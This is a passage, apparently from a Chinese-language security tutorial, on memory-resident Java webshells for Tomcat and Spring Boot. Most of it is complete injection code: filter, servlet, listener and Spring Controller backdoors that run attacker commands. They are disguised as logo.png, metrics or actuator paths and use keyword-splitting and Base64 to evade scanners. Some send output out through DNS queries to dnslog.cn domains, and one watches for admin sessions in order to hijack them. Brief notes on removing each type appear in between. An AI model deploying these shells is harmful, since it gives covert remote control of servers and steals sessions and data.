filterMap.addURLPattern("/static/logo.png"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

  1. filter类名伪装,用业务相关名绕过关键字扫描
1
2
3
public class MetricsFilter implements Filter   // 伪装成监控 Filter
public class LogTraceFilter implements Filter // 伪装成日志 Filter
public class CacheControlFilter implements Filter
  1. dns外带回显
1
2
3
4
5
String domain = Base64.getUrlEncoder().encodeToString(output.getBytes()).replace("=","") + ".kqrk9t.dnslog.cn";
System.out.println(domain);
try {
InetAddress.getByName(domain); // 触发 DNS 查询
} catch (Exception ignored) {}

  1. 避免在代码中出现 "cmd.exe""sh""Runtime" 等敏感词

拼接

1
2
3
4
String c = "c" + "m" + "d";
String dot = ".";
String exe = "e" + "x" + "e";
String cmdExe = c + dot + exe; // "cmd.exe"

动态传入,并base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.net.InetAddress" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//只处理http请求
if (!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

HttpServletRequest req = (HttpServletRequest) servletRequest;
String encodedCmd = req.getHeader("CMD"); // 接收 Base64 编码的命令
String encodedshell = req.getHeader("Shell"); //获取命令解释器,sh/bash/cmd.exe
System.out.println();
//为空时放行,不影响正常业务
if (encodedCmd == null || encodedCmd.trim().isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

// Base64 解码
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd);
String cmd = new String(decodedBytes).trim();

byte[] decodedBytes1 = Base64.getDecoder().decode(encodedshell);
String shell = new String(decodedBytes1).trim();

if (cmd.isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

if (shell.isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

System.out.println(shell);
boolean isLinux = !shell.contains(".");
// String osTyp = System.getProperty("os.name");
// if (osTyp != null && osTyp.toLowerCase().contains("win")) {
// isLinux = false;
// }
String[] cmds = isLinux ? new String[]{shell, "-c", cmd} : new String[]{shell, "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
String bs64output = Base64.getEncoder().encodeToString(output.getBytes());
PrintWriter out = servletResponse.getWriter();
out.println(bs64output);
// System.out.println("Shellfilter 执行命令结果: " + output);
out.flush();
out.close();
}

@Override
public void destroy() {
}
}
%>
<%
//拿到standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//设置filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());
standardContext.addFilterDef(filterDef);

//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/static/logo.png"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

//将standardContext和filterDef放到filterConfig中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

//反射获取filterConfig
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(standardContext);
filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

销毁内存马

前面说到销毁内存马的本质是破坏挂载点。filter内存马的挂载点是filter链。

filter链在web应用启动时就被创建,而注入内存马是动态加入到filter链,只要重启web应用,filter链就会重新构建,filter内存马也就被销毁了,这只会影响当前web应用。重启tomcat也可,但是会影响别的web应用。

Servlet内存马

  • 挂载点:Servlet 容器 (ServletContext)。
  • 原理:攻击者通过ServletContext的 API(如addServlet),动态注册一个恶意的javax.servlet.Servlet。这个恶意 Servlet 可以绑定到一个特定的 URL 路径,从而创建新的、隐蔽的后门路由。
  • 企业级危害:能够创建全新的、不显眼的访问路径,实现远程命令执行、文件上传/下载等功能。由于其不依赖现有业务逻辑,仅需知道新的 URL 路径即可访问,隐蔽性较强。

内存马注入

  • 正常情况下,Servlet 需要在 web.xml 中声明,或使用 @WebServlet 注解,在应用启动时由容器加载。
  • 但 Tomcat 的 StandardContext(代表一个 Web 应用上下文)提供了 createWrapper()、addChild()、addServletMappingDecoded() 等方法,允许在运行时动态添加 Servlet

tomcat环境下的内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%!
public class Shell2Servlet extends HttpServlet {
public void init(ServletConfig servletConfig) throws ServletException {}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}

public void destroy() {}
}
%>
<%
//通过反射获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
//通过反射获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//创建wrapper,将Servlet名放到wrapper,最后实例化Shell2Servlet
Wrapper wrapper = context.createWrapper();
wrapper.setName("Shell2Servlet");
wrapper.setServletClass(Shell2Servlet.class.getName());
wrapper.setServlet(new Shell2Servlet());
//将wrapper放到standardContext里
context.addChild(wrapper);
//映射url地址,注意如果是Tomcat7则使用addServletMapping("/shell2", "Shell2Servlet")
context.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
</body>
</html>

与filter内存马的区别

在标准的 Java Servlet 规范中,同一个 URL 路径通常只能由一个 Servlet 处理

如果存在相同URL的Servlet,后注册的servlet会覆盖前面的servlet,也就是说每个 URL 映射(如 /api/test)只会被其最后一个注册的servlet处理

这不同于filter,只需要放行,相同URL的filter都会被执行。

所以Servlet内存马通常绑定一个所有正常业务URL之外的路径,才不会覆盖正常业务的Servlet从而提高隐蔽性。

提高servlet内存马隐蔽性

与filter内存马方法大致相同

  1. 通过header传递参数
  2. 参数和响应进行编码
  3. 回显伪装为json
  4. dns外带回显
  5. 避免在代码中出现 “cmd.exe”、”sh”、”Runtime” 等敏感词
  6. 直接实现 Servlet 接口

很多检测工具会扫描 extends HttpServlet 的匿名类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="javax.servlet.ServletException" %>

<html>

<body>
<%!
// 直接实现 Servlet 接口,不继承 HttpServlet
public class HiddenShell implements Servlet {
public void init(ServletConfig config) throws ServletException {}

public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd == null || cmd.trim().isEmpty()) {
res.getWriter().println("No command provided.");
return;
}

boolean isLinux = true;
String osName = System.getProperty("os.name");
if (osName != null && osName.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
try {
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
} catch (Exception e) {
res.getWriter().println("Error: " + e.getMessage());
}
}

public void destroy() {}
public ServletConfig getServletConfig() { return null; }
public String getServletInfo() { return "Hidden Shell"; }
}
%>

<%
try {
ServletContext sc = request.getServletContext();
Field appCtxField = sc.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(sc);

Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);

Wrapper wrapper = stdCtx.createWrapper();
wrapper.setName("MetricsCollector"); // 伪装成监控组件
wrapper.setServletClass(HiddenShell.class.getName());
wrapper.setServlet(new HiddenShell());

stdCtx.addChild(wrapper);
stdCtx.addServletMappingDecoded("/actuator/metrics", "MetricsCollector", false); // 伪装成 Spring Boot 路径

out.println("Shell registered at /actuator/metrics?cmd=...");
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>

servlet内存马销毁

前面说到销毁内存马的本质是破坏挂载点。servlet内存马的挂载点是Servlet 容器(ServletContext) 。

重新部署war->加载新的ServletContext

或者重启tomcat

Listener内存马

  • 挂载点:ServletContextListenerServletRequestListener等监听器。
  • 原理:攻击者注册一个恶意的Listener,利用其在特定生命周期事件(如应用启动、请求初始化、会话创建/销毁等)触发的特性来执行恶意逻辑。
  • 企业级危害:持久性较好。特别是ServletContextListener,它可以在应用启动时执行初始化恶意代码,甚至植入其他内存马。ServletRequestListener则可用于对每个请求进行监控或修改。

listener

Listener的监听对象主要有三种类型。

(1)ServletContext域对象——实现ServletContextListener接口

  • 触发时机:Web 应用启动(contextInitialized)或关闭(contextDestroyed

作用:利用ServletContextListener监听器在创建ServletContext域对象时完成一些想要初始化的工作或者执行自定义任务调度

(2)ServletRequest域对象——实现ServletRequestListener接口

  • 触发时机:每次 HTTP 请求开始(requestInitialized)和结束(requestDestroyed
  • 没有 ServletResponse,无法直接回显命令执行结果

(3)HttpSession域对象——实现HttpSessionListener接口

  • 触发时机:会话创建(sessionCreated)或销毁(sessionDestroyed
  • 不适合命令执行类内存马,可用于监控管理员登录(利用权限来执行敏感操作,获取数据)
ServletContextListener
  • ServletContextListener 的作用是监听 Web 应用的启动/销毁(contextInitialized / contextDestroyed)。
  • 它 没有 service() 方法,无法接收 HTTP 请求参数。

所以其无法命令执行,一般作为内存马的一个补充,当其他已经存在的内存马被发现后通过重启web应用或者tomcat时,通过ServletContextListener 内存马在其重启后触发再次自动注入一个新的内存马

但是不能通过反射实现,通过反射注入的ServletContextListener是注入当前web应用的内存,重启或者重新部署就会销毁

这就需要写入到.class文件到WEB-INF/classes/等目录才能实现持久化重启时调用,但是这违背了内存马无文件落地的优势

下面实际上是servlet内存马

严格来说,它更接近“Servlet 注入型内存马”,但利用了 ServletContextListener 的代码结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" %>
<%
if (application.getAttribute("shell_installed") != null) {
out.println("Shell already installed.");
return;
}

try {
// 1. 创建恶意 Servlet
HttpServlet evilServlet = new HttpServlet() {
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/plain;charset=UTF-8");
String cmd = req.getParameter("cmd");
if (cmd == null) {
resp.getWriter().println("Usage: ?cmd=whoami");
return;
}
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "UTF-8"));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
p.waitFor();
} catch (Exception e) {
resp.getWriter().println("Error: " + e.toString());
}
}
};

// 2. 获取 StandardContext
ServletContext sc = request.getServletContext();
// Tomcat 8/9/10 通用方式
Field contextField = sc.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object appCtx = contextField.get(sc);

Field stdContextField = appCtx.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
Object stdContext = stdContextField.get(appCtx);

// 3. 创建 Wrapper
Method createWrapperMethod = stdContext.getClass().getDeclaredMethod("createWrapper");
createWrapperMethod.setAccessible(true);
Object wrapper = createWrapperMethod.invoke(stdContext);

// 设置 Servlet 和名字
wrapper.getClass().getMethod("setServlet", Servlet.class).invoke(wrapper, evilServlet);
wrapper.getClass().getMethod("setName", String.class).invoke(wrapper, "DynamicShell");

// 4. 添加 Wrapper 到 Context
stdContext.getClass().getMethod("addChild", Class.forName("org.apache.catalina.Container")).invoke(stdContext, wrapper);

// 5. 关键:使用 addServletMappingDecoded(新版 Tomcat)
// 方法签名:addServletMappingDecoded(String pattern, String name)
Method addMappingMethod = null;
try {
addMappingMethod = stdContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class);
} catch (NoSuchMethodException e) {
// 兼容旧版:回退到 addServletMapping
addMappingMethod = stdContext.getClass().getMethod("addServletMapping", String.class, String.class);
}
addMappingMethod.setAccessible(true);
addMappingMethod.invoke(stdContext, "/shell", "DynamicShell");

application.setAttribute("shell_installed", true);
out.println("Success! Access /shell?cmd=whoami");
} catch (Exception e) {
e.printStackTrace(new PrintWriter(out));
}
%>
ServletRequestListener

会在filter之前执行,并且不会拦截请求(也就是所有请求都只是经过ServletRequestListener,不影响后面filterservlet的执行),所以不能够有回显到页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. 创建 ServletRequest / ServletResponse 对象


2. ➤ **ServletRequestListener.requestInitialized()** ← 最早!


3. 执行 Filter Chain(按 web.xml 或注解顺序)
│ - Filter1.doFilter()
│ - Filter2.doFilter()
│ - ...

4. 调用目标 Servlet.service()(或 JSP)


5. Filter Chain 返回(逆序执行 chain.doFilter() 之后的代码)


6. 响应提交(flush、close)


7. ➤ **ServletRequestListener.requestDestroyed()** ← 最晚!

无回显可以反弹shell或者dnslog外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.net.InetAddress" %>
<%@ page import="java.util.Base64" %>

<%
String DNSLOG_DOMAIN = "ifsjj6.dnslog.cn";
ServletRequestListener srl = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
String cmd = sre.getServletRequest().getParameter("cmd");
if (cmd != null && !cmd.trim().isEmpty()) {
// 执行命令并获取输出
boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
Process p = Runtime.getRuntime().exec(isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd});
InputStream in = p.getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next().trim() : "null";

// 清理输出:只取第一行、移除换行、限制长度
if (output.contains("\n")) {
output = output.split("\n")[0];
}
output = output.replaceAll("[^a-zA-Z0-9._-]", "_"); // 保留 DNS 合法字符
if (output.length() > 50) {
output = output.substring(0, 50);
}

// Base64 可选,但直接用 clean 字符更可靠(避免 = / +)
String subdomain = output + "." + System.currentTimeMillis() / 1000;

// 发起 DNS 查询(触发 dnslog 记录)
try {
InetAddress.getByName(subdomain + "." + DNSLOG_DOMAIN);
} catch (Exception ignored) {
// 即使 DNS 失败也不影响主逻辑
}

System.out.println("[DNSLog] Triggered: " + subdomain + "." + DNSLOG_DOMAIN);
}
} catch (Exception e) {
// 静默失败,避免暴露
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {}
};

// 注入 Listener
ServletContext ctx = request.getServletContext();
Field appCtxField = ctx.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(ctx);

Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);

stdCtx.addApplicationEventListener(srl);

%>

ServletRequestListener会监听所有url,包括404,可以通过特殊header,或者特殊路径、伪装静态资源来提高隐蔽性,减少对业务的影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
// 1. 快速判断:只处理特定参数,避免每次解析
if (!(sre.getServletRequest() instanceof HttpServletRequest)) {
return;
}
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();

// 2. 只处理带特定参数 or 特定 User-Agent 的请求(降低触发率)
String cmd = req.getParameter("cmd");
String ua = req.getHeader("User-Agent");
if (cmd == null || !ua.contains("Mozilla/5.0 (Evil)")) {
return; // 正常流量直接跳过
}

// 3. 超时控制 + 异步执行(可选)
// (但异步可能丢失上下文,一般不推荐)

// 4. 执行命令(带超时)
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
p.waitFor(3, java.util.concurrent.TimeUnit.SECONDS); // 3秒超时

// 5. 外带结果(DNS/HTTP)
// ...

} catch (Exception e) {
// 6. 静默失败!绝不抛异常!
}
}
HttpSessionListener

不适合命令执行类内存马,可用于监控管理员登录(利用权限来执行敏感操作,获取数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page contentType="text/html;charset=UTF-8" %>
<%
if (application.getAttribute("admin_monitor_installed") != null) {
out.println("Admin monitor already active.");
return;
}

try {
// 定义恶意 HttpSessionListener
HttpSessionListener monitor = new HttpSessionListener() {
@Override
public void sessionCreated(HttpSessionEvent se) {
HttpSession session = se.getSession();
// 启动一个异步检查线程(避免阻塞请求)
new Thread(() -> {
try {
// 等待最多 10 秒,看是否有管理员身份写入
for (int i = 0; i < 20; i++) {
Thread.sleep(500); // 每 0.5 秒检查一次

// 检查常见管理员标识字段
Object user = session.getAttribute("user");
Object username = session.getAttribute("username");
Object role = session.getAttribute("role");
Object isAdmin = session.getAttribute("isAdmin");

boolean isAdminUser = false;
String info = "";

if (role != null && (role.toString().toLowerCase().contains("admin") || "1".equals(role.toString()))) {
isAdminUser = true;
info = "role=" + role;
} else if (username != null && username.toString().equalsIgnoreCase("admin")) {
isAdminUser = true;
info = "username=" + username;
} else if (user != null && user.toString().toLowerCase().contains("admin")) {
isAdminUser = true;
info = "user=" + user;
} else if (isAdmin != null && "true".equals(isAdmin.toString())) {
isAdminUser = true;
info = "isAdmin=true";
}

if (isAdminUser) {
// 🚨 检测到管理员登录!执行敏感操作
System.err.println("[+] Admin login detected! " + info + ", SessionID: " + session.getId());

// 示例1:记录 Session ID(可用于会话劫持)
logToFile("Admin Session Hijack", "SessionID: " + session.getId() + ", Info: " + info);

// 示例2:执行敏感操作(如读取数据库、写 WebShell)
// 这里模拟:读取 WEB-INF/web.xml 内容
try {
ServletContext ctx = session.getServletContext();
InputStream is = ctx.getResourceAsStream("/WEB-INF/web.xml");
if (is != null) {
StringWriter writer = new StringWriter();
IOUtils.copy(is, writer, "UTF-8");
logToFile("web.xml content", writer.toString());
is.close();
}
} catch (Exception e) {
e.printStackTrace();
}

// 示例3:主动创建一个隐蔽的 WebShell(可选)
// (此处省略,避免重复之前代码)

break; // 找到即退出
}
}
} catch (Exception e) {
e.printStackTrace();
}
}).start();
}

@Override
public void sessionDestroyed(HttpSessionEvent se) {
// 可选:记录登出事件
}

// 辅助方法:写日志到临时文件(或回传到攻击者服务器)
private void logToFile(String title, String content) {
try {
String path = System.getProperty("java.io.tmpdir") + "/admin_monitor_" + System.currentTimeMillis() + ".log";
try (FileWriter fw = new FileWriter(path)) {
fw.write("=== " + title + " ===\n");
fw.write(content);
}
System.err.println("[*] Log saved to: " + path);
} catch (Exception e) {
e.printStackTrace();
}
}
};

// 工具类:用于复制 InputStream(避免依赖 Apache Commons)
%>
<%!
public static class IOUtils {
public static void copy(InputStream input, Writer output, String encoding) throws IOException {
InputStreamReader in = new InputStreamReader(input, encoding);
char[] buffer = new char[1024];
int n;
while ((n = in.read(buffer)) != -1) {
output.write(buffer, 0, n);
}
}
}
%>
<%
// 注册 Listener
ServletContext sc = request.getServletContext();
Field appctxField = sc.getClass().getDeclaredField("context");
appctxField.setAccessible(true);
Object appctx = appctxField.get(sc);

Field stdctxField = appctx.getClass().getDeclaredField("context");
stdctxField.setAccessible(true);
Object stdctx = stdctxField.get(appctx);

Method addListener = stdctx.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
addListener.setAccessible(true);
addListener.invoke(stdctx, monitor);

application.setAttribute("admin_monitor_installed", true);
out.println("✅ Admin login monitor installed. Waiting for privileged user...");
} catch (Exception e) {
e.printStackTrace(new PrintWriter(out));
}
%>

listener内存马销毁

前面说到销毁内存马的本质是破坏挂载点。

在 Tomcat 中,所有动态注册的 Listener(包括 ServletContextListenerHttpSessionListenerServletRequestListener 等)都会被存储在:

1
StandardContext.applicationEventListenersList

到该数组删除对应的listener

重新部署war

或者重启tomcat

Spring类

Spring Controller 内存马

  • 挂载点:Spring MVCController(通过RequestMappingHandlerMapping)。
  • 原理:对于 Spring MVC 应用,攻击者通过反射操作 Spring 框架的核心组件RequestMappingHandlerMapping,动态注册一个恶意ControllerBean。这使得攻击者可以为恶意功能注册一个全新的 URL 路由,使其看起来就像应用中合法的接口。
  • 企业级危害:高度针对 Spring 应用,能够无缝融入 Spring 路由体系,创建隐蔽的后门 API 接口,实现远程命令执行、WebShell 等功能,难以通过传统代码审计发现。

内存马利用

Spring MVC 的请求处理依赖于 RequestMappingHandlerMapping(处理 @RequestMapping@GetMapping 等注解的 Controller),它维护了一个 URL 路径 → Controller 方法 的映射表(handlerMethods)。

Spring Boot 2.x(使用 javax.servlet)
Spring Boot 3.x(使用 jakarta.servlet)

Spring Boot 2.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.demo;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

@RestController
public class InjectMemshellController {

@Autowired
private ApplicationContext applicationContext;


@GetMapping("/makememshell")
public String inject(HttpServletRequest request, HttpServletResponse response) {
try {
// 获取 RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping handlerMapping =
applicationContext.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);

// 创建恶意 Controller(匿名对象)
Object evilController = new Object() {
public void handle(HttpServletRequest req, HttpServletResponse resp) throws Exception {
resp.setContentType("text/plain;charset=UTF-8");
PrintWriter out = resp.getWriter();
String cmd = req.getHeader("X-Cmd");
if (cmd == null || cmd.isEmpty()) {
out.println("Usage: curl -H 'X-Cmd: aWQ=' http://target/memshell");
return;
}
String decoded = new String(java.util.Base64.getDecoder().decode(cmd));
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec("cmd.exe /c " + decoded);
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", decoded});
}
java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
s.close();
out.println(output);
}
};

Method method = evilController.getClass().getDeclaredMethod("handle", HttpServletRequest.class, HttpServletResponse.class);
org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping =
org.springframework.web.servlet.mvc.method.RequestMappingInfo
.paths("/memshell")
.methods(org.springframework.web.bind.annotation.RequestMethod.GET)
.build();

handlerMapping.registerMapping(mapping, evilController, method);

return " Spring Controller 内存马注入成功!\n访问 /memshell,Header: X-Cmd=Base64(命令)";
} catch (Exception e) {
e.printStackTrace();
return " 注入失败: " + e.getMessage();
}
}
}

Spring Boot 3.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.demo;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

@RestController
public class InjectMemshellController {

@Autowired
private ApplicationContext applicationContext;


@GetMapping("/makememshell")
public String inject(HttpServletRequest request, HttpServletResponse response) {
try {
// 获取 RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping handlerMapping =
applicationContext.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);

// 创建恶意 Controller(匿名对象)
Object evilController = new Object() {
public void handle(HttpServletRequest req, HttpServletResponse resp) throws Exception {
resp.setContentType("text/plain;charset=UTF-8");
PrintWriter out = resp.getWriter();
String cmd = req.getHeader("X-Cmd");
